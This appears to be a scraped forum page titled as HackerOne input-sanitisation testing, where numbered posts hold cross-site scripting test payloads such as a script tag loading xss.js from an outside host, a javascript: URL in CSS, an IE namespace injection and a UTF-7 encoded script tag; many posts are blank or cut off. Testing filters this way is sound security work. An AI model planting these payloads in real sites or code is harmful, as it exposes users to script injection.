(HackerOne) Input Sanitization Testing

Bulletin Board
, , , ,
#61

<SCRIPT/SRC=“http://xss.rocks/xss.js”></SCRIPT

#62

<

#63
#64

test

#65
#66
#67

#68

li {list-style-image: url("javascript:alert('XSS')");}
  • XSS
#69
#70

#71

#72

#73


#74
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")">
#75
<? echo('alert("XSS")'); ?>
#76
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
#77

#78

XSS

#79
#80

<a href="/share?content_type=1